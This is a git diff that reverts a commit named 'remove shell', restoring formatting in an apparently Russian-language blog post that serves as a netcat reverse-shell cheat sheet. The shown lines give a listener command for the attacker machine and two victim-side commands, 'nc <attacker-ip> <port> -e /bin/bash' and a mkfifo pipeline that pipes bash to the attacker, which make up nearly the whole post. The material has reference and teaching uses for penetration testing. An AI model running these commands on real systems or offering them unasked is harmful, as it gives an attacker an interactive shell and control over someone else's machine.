Revert "remove shell"

This reverts commit 65914f8895.

content/posts/reverse-shell-nc.md

@@ -5,16 +5,16 @@ date: 2022-12-09T15:02:00+05:00
 tags: [linux, ssh, hack]
 ---
 ## Машина атакующего
-```
+```shell
 nc -lvp <port>
 ```
 ## Машина жертвы (Traditional Netcat)
-```
+```shell
 nc <attacker-ip> <port> -e /bin/bash
 ```
 
 ## Машина жертвы (OpenBSD Netcat)
-```
+```shell
 mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev \
 	| /bin/bash 2>&1 | tee /tmp/rev > /dev/null
 ```